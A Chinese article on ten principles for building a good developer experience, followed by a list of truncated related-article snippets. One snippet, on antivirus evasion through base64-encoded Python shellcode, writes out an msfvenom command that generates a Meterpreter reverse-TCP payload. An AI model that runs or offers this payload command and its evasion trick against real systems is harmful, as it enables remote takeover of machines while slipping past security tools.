打造出色开发者体验的十大原则
大约十年前我是一名CIO,当时我在评估一种技术解决方案,向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求,但是解决我们的业务需求同时需要这三种工具。作为CIO,我认识到我团队的不同成员要么需要协作使用这些不同的工具,要么我必须雇用能够掌握所有这些工具的更高级的开发者。由于牵涉开发的复杂性,后来我决定不购置这种技术解决方案。
开发者体验概念在那时并不是一个主要或可衡量的目标。很少有企业领导人考虑到提高开发者满意度、生产力和幸福感带来的价值。但领先的首席技术官、数字开拓者、交付经理和技术主管都明白其重要性。这就是为什么我们购买庞大的多显示器工作空间、升级桌面以使用功能最强大的设备、添置桌式足球桌以鼓励工作休息,并与开发团队一起庆祝主要版本的发布。
Newgen Software的产品管理主管Varun Goswami分享了Gartner的调查结果;调查显示,58%的软件工程领导者表示,开发者体验对公司高管至关重要。他说:“这标志着越来越需要对用户友好的整洁界面,需要集成式生态系统,为开发、项目管理、文档、代码存储库和无缝协作提供一个集中式中心。”
优先考虑开发者体验的组织中的开发者更有可能通过创新取悦最终用户,按时发布高质量的代码,并努力在软件开发过程中日臻完善。出色开发者体验的一些要素离不开最出色的工具、尽量小的干扰、精简的流程以及知道自己的工作受到赞赏。以下是企业打造出色开发者体验的10种方法。
如何打造出色的开发者体验?
1. 培养多元化的开发者团队
优秀的开发者体验需要一种奖励多样性、创新、协作、持续改进、合理实验和终身学习的公司文化。
Buildkite的创始人兼首席执行官Keith Pitt表示:“以开发者为中心的公司往往过于注重渴望结构和组织的员工。虽然这类员工必不可少,但组织还必须培养一种文化,重视推动创新想法的有创意的开发者。在一个日益自动化的行业,IT领导者需要打造鼓励创造力的环境,而不是惩罚适当的风险,这样有远见的人才能茁壮成长。”
技术领导者推动文化的一种方式是,奖励其行为和影响与组织目标相匹配的团队成员。
2. 实现工具标准化,以提高生产力
一种观点认为,开发团队应该自由地使用自己青睐的工具。另一种观点建议组织专门成立一个小型架构团队,以创建标准并决定使用哪些工具。中间立场是让开发者可以为所需的工具和能力创建自组织标准,同时对带来显著好处的新技术奉行开放的态度。
Couchbase的开发者关系和策略总监Laurent Doguin说:“随着新的工具、语言和流程的引入,开发者体验方面的差异越来越大,这些新工具、语言和流程可能与开发者的原有工作流程发生冲突。真正的胜利来自让他们可以轻松完成工作的工具,尤其是当开发者尝试使用生成式人工智能来自动完成样板代码生成、重构或文档编写之类的任务时,更是如此。”
构建优秀的开发者体验需要开发平台和利用现有工具,而领导者需要创造学用技术、运用最佳实践的机会。他们还需要制定一套透明的流程以遴选和试用新技术,并传达投资标准方面的明确指导原则。
LaunchDarkly的产品孵化高级总监Cody De Arkland表示:“开发者现在比以往任何时候更愿意寻找容易见效的道路,光有先进的功能已不够——构建的时间和下一次创新的时间必须很短。这意味着简化配置、设置智能默认值,并且有设置高级配置的选项。”
预计开发者定制其数字工作空间的一切会妨碍每个人交付新技术和新特性的能力。
3. 系统地处理技术债务
对于开发者来说,继承糟糕构建的代码,然后在紧迫的期限内改进功能面临很大的压力。企业通常过于关注功能开发,而不向开发团队询问应用程序的哪些方面需要升级。
vFunction的首席生态系统官Bob Quillin表示:“在快速前进和保持竞争力的形势下,企业正以前所未有的方式积累技术债务。技术债务(尤其是架构技术债务)会降低团队士气,加大添加新功能并利用生成式人工智能等新技术的难度,耗尽资源,并阻碍开发者留任和保持生产力。”
为了改善开发者体验,不妨为敏捷开发团队设定清晰的目标,以便持续减少技术债务,为明确技术债务问题制定一套清晰的流程,并为团队应该如何优先处理技术债务的补救确立清晰的指导方针。部门应该考虑几种形式的技术债务,包括数据债务、操作债务、安全债务和架构债务。
Quillin补充道:“了解应用程序的当前架构让开发者可以优先考虑烦人的应用程序问题,并及时解决问题,以免酿成中断。架构可观测性促成了一种文化转变,使开发者能够将技术债务补救与项目目标结合起来,更容易抛开一直在拖累发布周期和影响弹性的技术债务负担。”
4. 向开发者寻求架构决策方面的意见
我在《Digital Trailblazer》一书中推荐敏捷回顾会议、包容性解决方案头脑风暴会议和没有指责他人的事后分析,这些是打造出色开发者体验的基本做法。在定义架构和选择开发框架时,我认为主持集体辩论、做出决策、征求反馈和不断完善标准都是开发者应该参与的支持性实践。
摩根大通的工程师平台和体验主管Sandhya Sridharan表示:“如今组织要求工程师是超人,通晓无数技术、基础设施和网络等,这常常导致认知超载。为了有效地简化软件开发,建立强大的基础平台和促进自助服务模式的平台至关重要。”
在获取开发者的意见、促进试验和推动标准之间找到适当的平衡并非易事,尤其在拥有许多类型的平台和应用程的大企业中。统一规定标准降低了开发者体验,因此表明做出架构决策的方式和原因很重要。
Sridharan表示:“虽然这似乎显而易见,但需要领导者回答工程师面临的挑战以及总体业务优先事项方面的问题,确保平台不仅可靠、可扩展和安全,还能够通过提供一套模式和意见来抽取复杂性,从而使开发者始终在‘流程’中。”
寻求最佳开发者体验的公司还必须考虑到技能组合和新开发者入职的难易程度方面的差异。架构师和开发者在何处需要标准、何处灵活性更有利以及创建何种说明文档等问题上应该如何合作出现不同的意见,不足为奇。
Descope的联合创始人Gilad Shriki表示:“在构建开发工具产品时,在‘自成一体’的产品与‘开放’的产品之间保持一种平衡至关重要。过于自成一体可能会限制用户基础,而过于开放可能会吓倒早期阶段的开发者。为了兼顾两者,要确保一种独特的产品方法,有明确的好处和‘最终状态’,以及充足的补充材料、示例代码库、教程和社区支持。”
5. 使用工具和标准以加强协作
开发者往往讨厌频繁或没有成效的会议,更喜欢使用协作工具来介绍项目进展。StreamAlive的联合创始人兼首席技术官Joseph Varghese表示,缺乏统一的团队协作、沟通和文档编制方法的组织可能会影响开发者体验和生产力。
“在引入开发者和技术人才时,许多公司缺乏诱人的工具和资源来打造透明和吸引人的文化来鼓励沟通和合作,这阻碍了开发者体验。由于技术团队和开发人才通常是组织的支柱,因此他们能够与组织内的其他团队成员有效地讨论问题和潜在的解决方案至关重要。”
交付主管应致力于在以下几个方面制定标准:
- 用于编写用户故事的模板,包括验收标准和嵌入的图表
- 记录每周更新而不是安排状态更新会议的标准
- 每个产品版本发布后必须更新文档需求
- 使用虚拟会议和异步通讯技术作为有效沟通工具的最佳实践
优秀开发者体验通过使用连接到开发工作流的标准化工具和设置明确的沟通预期目标,将重点放在协作上。
6. 阐明基础设施和运营职责
大约10年前,我问谁负责Devops,并建议IT运营莫浪费时间。当时的想法是学习云基础设施和Devops自动化工具,以巩固高效、协作、创新和可靠的Devops运营模式。
如今,有许多新工具可以管理、自动化和保护云基础设施,这推动了开发者和运营人员的职责发生转变。
Persistent Systems的首席数据科学家Dattaraj Rao表示:“在今天的云基础设施领域,开发者正在经历一场变革性转变,从单纯的编码转变为负责全面服务。开发者现在编写、发布和运行应用程序,而基础设施是动态编程和配置的。这种向全面负责的演变得益于容易访问的基于云的人工智能服务,它们造就了复杂的解决方案。”
当希望改善开发者体验时,确定谁负责基础设施和其他运营职责很重要。没有一刀切的方法:法规、应用程序类型、使用规模、数据复杂性和安全考虑只是决定组织和团队职责的几个因素。
7. 建立质量标准和度量指标
编程助手和代码生成器是否总是准确、高质量、有用的?我在文章《what’s hype and where to drive results with AI copilots》中引用了一项研究,显示用户接受了编程助手建议的30%的代码,这意味着代码建议在用于应用程序中之前需要审核和验证。
Sonar的开发者倡导者Jonathan Vila问道:“市面上到处都是帮助生成代码的工具,包括IDE、插件和在线服务。人工智能正成为所有工具的标配,但代价又是什么?”
审核工具时,特别是旨在提高生产力的生成式人工智能工具,提高开发者体验的明智方法就需要定义质量标准,并使用自动化工具来验证结果。
Vila补充道:“将AI生成的代码添加到我们的代码存储库之前,有必要进行核查。代码检查器和质量检验关是完美的看门员,可以在不影响代码库的情况下从AI获得最大的价值。”
如果团队在设计和开发应用程序时关注自身开发者体验的质量和效率,更有可能做同样的事情。定义质量标准和度量指标确保了开发者有明确的预期目标和验收标准。
8. 衔接应用程序安全团队和开发团队
落实安全最佳实践并不容易,但是责备开发者发布无意的漏洞、在没有安全审查的情况下添加组件,或者花太长时间来修补应用程序存在很大的问题。旨在改善开发者体验的组织必须想方设法衔接应用程序安全团队和开发团队。
现已退休的Netflix前信息安全副总裁Jason Chan表示:“应用程序安全团队始终出于好意,我们希望将组织面临的风险降到最低,并提高软件质量。然而,我们传统的工作方式与开发体验完全相反。”
Chan针对应用程序安全现代化、注重开发者体验的三个建议包括:尽量减少可能阻碍构建的低优先级安全问题、帮助开发者构建默认安全配置以及只上报经过验证的漏洞或发现的结果。
9. 营造避免技术倦怠的文化
如果工作环境压力太大,开发者精疲力竭,那么致力于工具、文化和协作以改善开发者体验会变得毫无意义。在之前一篇关于减轻DevSecOps团队压力的文章中,我建议领导者培养一种高效的组织文化,摈弃事无巨细的管理方法,并优先考虑如何减轻压力。
JetBrains《2023年开发者生态系统现状》报告指出,73%的开发者在职业生涯中经历过倦怠,45%的开发者使用自我监测应用程序或设备来跟踪身体活动、睡眠质量或健康状况。
解决心理健康问题非常重要,不然可能危及生命。如果你或你认识的人备受折磨,建议寻求专业帮助。
10. 提高开发团队的业务敏锐度
仅仅关注工具、技术、流程、协作和文化是无法改善开发者体验的。只有得到业务利益相关者和最终用户的支持,毕竟他们欣赏开发团队的创新和努力,开发者体验才会得到极大的改善。
赢得这种欣赏的一种方法是鼓励开发者提高业务敏锐度。了解公司是如何赚钱的、为什么客户选择其产品或服务以及不同的部门如何在利用他们开发的技术。只有利益相关者看到开发者理解他们的观点和优先事项,更有可能支持改进开发者体验的工作。
结语
鉴于更多的公司寻求生成式人工智能功能、技术驱动的生产力改进和客户体验方面的进步,开发团队面临的压力在未来几年不太可能减轻。致力于改善开发者体验的数字开拓者将更容易招聘和留人,并从开发团队获得可喜的成果。
相关文章:
打造出色开发者体验的十大原则
大约十年前我是一名CIO,当时我在评估一种技术解决方案,向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求,但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...
Vue3_对接腾讯云COS_大文件分片上传和下载
目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档: 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...
python免杀--base64加密(GG)
单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...
Python版与Java版城市天气信息爬取对比分析
在对比Python版和Java版城市天气信息爬取时,我们需要考虑多个方面,包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析: 1. 语言特性 Python: 易于学习:Python的语法清…...
CSS真题合集(二)
CSS真题合集(二) 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...
长期出汗困扰你?可能是肾合出了问题
想象一下,我们的身体是一座繁茂的秘密花园,每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水,则是这花园中无声的语言,它讲述着我们的健康与否,也揭示着身体内部的微妙变化。 在炎炎夏日,身体如盛开…...
Jmeter函数二次开发说明
jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖,需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...
重新学习STM32(1)GPIO
概念简介 GPIO 是通用输入输出端口的简称,简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来,从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组,比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...
React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用
文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理,以提高用户体验,实现过渡效果。 一、路由配置和懒…...
成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)
电商低价神秘顾客需要具备以下条件,以确保能够执行有效的调查任务并为企业提供有价值的反馈: 1、细致的观察能力:神秘顾客访问员需要具备细致的观察能力,能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...
现货黄金交易多少克一手?国内外情况大不同
如果大家想参与国际市场上的现货黄金交易,就应该从它交易细则的入手,先彻底认识这个品种,因为它是来自欧美市场的投资方式,所以无论是从合约的计的单位,计价的货币,交易的具体时间,以及买卖过程…...
LNMP与动静态网站介绍
Nginx发展 Nginx nginx http server Nginx是俄罗斯人 Igor Sysoev(伊戈尔.塞索耶夫)开发的一款高性能的HTTP和反向代理服务器。 Nginx以高效的epoll.kqueue,eventport作为网络IO模型,在高并发场景下,Nginx能够轻松支持5w并发连接数的响应,并…...
教育小程序开发:技术实现与实践案例
随着信息技术的不断进步,教育小程序在教育领域的应用越来越广泛。教育小程序开发不仅可以提高教学效率,还能够提供个性化的学习体验。本文将以技术代码为例,详细介绍教育小程序开发的关键技术和实践案例,帮助开发者更好地理解和实…...
LeetCode 746.使用最小花费爬楼梯
题目: 给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费…...
软件设计模式概述
一 软件模式概述 软件设计模式是在软件开发过程中经过验证的、可重复使用的最佳实践。 它们提供了解决常见设计问题的模板和指导方针,有助于开发人员编写高质量、可维护和可扩展的代码。 软件设计模式通常基于面向对象的编程范式,并利用封装、…...
短剧片源火爆,千金难求好剧源
前言 在当今快节奏的生活中,短剧以其精悍的篇幅、吸睛的剧情和便捷的观看方式,异军突起,吸引了大量观众的关注和喜爱。这些短剧不仅让人们在忙碌的间隙轻松娱乐,更以其高潮迭起的情节设计,让观众在短时间内便能体验到…...
MES系统定制 | 生产调度车间排班计划/MES排程排产
MES系统是一种集成化的生产信息化管理系统,通过实时收集和分析车间生产数据,帮助企业实现生产过程的自动化控制和监测。它可以跟踪生产计划、设备状态、物料流动等关键指标,并提供实时报表和决策支持。在这个系统中,车间班次排班是…...
【Anaconda】 anaconda常用命令总结
【Anaconda】 anaconda常用命令总结 一、创建虚拟环境二、激活/使用/进入某个虚拟环境三、退出当前环境四、复制某个虚拟环境五、删除某个环境六、查看当前所有环境七、查看当前虚拟环境下的所有安装包八、安装或卸载包(进入虚拟环境之后)九、分享虚拟环境十、源服务…...
Flutter InAppWebView Unknown feature SUPPRESS_ERROR_PAGE
在使用InAppWebView的initialData加载html代码的时候,出现java.lang.RuntimeException: Unknown feature SUPPRESS_ERROR_PAGE的出错误 E/MethodChannel#flutter/platform_views(16853): Failed to handle method call E/MethodChannel#flutter/platform_views(16853):<...
linux系统PXE自动装机和无人值守
一、PXE 1.PXE:c/s模式,允许客户端通过网络从远程服务器(服务端)下载引导镜像,加载安装文件,实现自动化安装操作系统。(c/s客户端和服务端都可以是多台) 2.PXE优点:规模…...
大模型的高考数学成绩单:及格已经非常好了
让考生头皮发麻的高考数学,可难倒了顶尖 AI 大模型。 一年一度的高考即将落幕,衷心希望各位考生都超常发挥,考出满意的好成绩!! 和往年一样,除了让 AI 大模型写写高考作文,我们也选取了六家国…...
【漏洞复现】CraftCMS ConditionsController.php 代码执行漏洞(CVE-2023-41892)
0x01 产品简介 Crat CMS是一个开源的内容管理系统,它专注于用户友好的内容创建过程,逻辑清晰明了,是一个高度自由,高度自定义设计的平台,可以用来创建个人或企业网站也可以搭建企业级电子商务系统。 0x02 漏洞概述 …...
代码随想录算法训练营第三十八 |● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯
我在每一个算法开始之前都会去认真的看一下这个理论基础,或者说是算法的主要思想,可以直接看视频carl讲解的很清晰;其次还会大致看一下这一part中的题型及难度 动态规划理论基础讲解链接:https://programmercarl.com/%E5%8A%A8%E6…...
如何有效处理服务器后台密码暴露
服务器后台密码的暴露是信息安全领域中的严重事件,它可能引发未经授权的数据访问、恶意软件植入或系统功能滥用等一系列问题。本文将探讨几种处理服务器后台密码暴露的有效策略,包括紧急响应步骤、密码安全增强措施及长期预防机制,并提供实际…...
使用本地大模型调用代码,根本就是一场骗局!
通过大模型调用其他工具到底可不可行?ChatGPT 或许能轻松搞定一切,但同样的需求落在本地大模型上,恐怕就要打个问号了。 法国开发工程师 Emilien Lancelot 尝试了多款号称具备工具调用功能的 agent 框架,来看看本地大模型到底能不…...
一些简单却精妙的算法
文章目录 1.树状数组2.红黑树3.星星打分4.欧几里得算法5.快速幂6.并查集 在编程的世界里,简洁的代码往往隐藏着深邃的智慧。一起来看看那些看似简单,实则精妙绝伦的代码片段,体会编程语言的优雅与力量。 1.树状数组 int lowbit(int x) { …...
git多账号使用报错:You don‘t have permissions to push to “xxx/xxxx“ onGitHub. Would
git多账号使用报错:You don’t have permissions to push to “xxx/xxxx” onGitHub. Would 有的时候我们有两个甚至多个git账号(公司的git账号和自己的github),为了不混淆提交,我们需要在提交之前查看自己的git账号必…...
中国电子学会(CEIT)2023年12月真题C语言软件编程等级考试三级(含详细解析答案)
中国电子学会(CEIT)考评中心历届真题(含解析答案) C语言软件编程等级考试三级 2023年12月 编程题五道 总分:100分一、因子问题(20分) 任给两个正整数N、M,求一个最小的正整数a,使得a和(M-a)都是N的因子。 时间限制: 10000ms 内存限制: 65536kb 输入 包括两个整…...
多线程爬取百度图片
爬取网页图片 import urllib.parse import requests import os import time from concurrent.futures import ThreadPoolExecutorheaders {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0…...
知行网站建设/百度推广怎么添加关键词
为什么80%的码农都做不了架构师?>>> 首先App端把上传的图片使用base64进行编码,然后传给后台PHP处理,再进行base64解码,然后再利用file_put_contents这个函数把它写入到文件夹里面即可,代码如下࿱…...
空间设计师网站/网页制作代码大全
http://blog.csdn.net/aspnet2002web/article/details/11484151 转载于:https://www.cnblogs.com/zhengchunhao/p/5688398.html...
如何在百度做自己公司的网站/优化网站关键词优化
网络请求urllib库使用总结 目录网络请求urllib库使用总结1.概述2.Urllib库基本使用2.1.Urllib库快速上手1.完成一次简单的get请求2.read()函数介绍3.获取其他响应信息2.2.urlretrieve()函数下载数据1.urlretrieve()函数基本使用2.3.构建请求对象1.请求一个https网站2.攻破UA反爬…...
南水北调建设管理局网站/seo电商运营是什么意思
曾有人问我,为什么要去干解析 dex 文件这种麻烦的事?我想说的是写个解析脚本不是为了模仿着 apktools 造轮子,而是在解析过程中寻找逆向的道路,方法会变,工具会变,但一切都建立在 dex 上的安卓不会变一、什么是 Dex 文…...
wordpress官方响应式主题/深圳推广网络
◆如何去金山海滩?2007-8-26 在锦江乐园附近的西南汽车站,乘石梅线,票价十元,先购票,中间不停站,大约1小时,但是石梅线坐的人比较多,排队等车大概要半小时。卫梅线也可以到。从石化车…...
郑州专业网站建设公司首选/电商运营去哪里学比较好
昨天介绍了OC中类的定义和使用,今天我们来继续学习类的初始化方法和点语法的使用。 一、首先来看一下类的初始化方法 在Java中我们知道一个每个类都有构造方法,这里的初始化方法就是和构造方法一个概念的,但是这里有一个区别是:Ja…...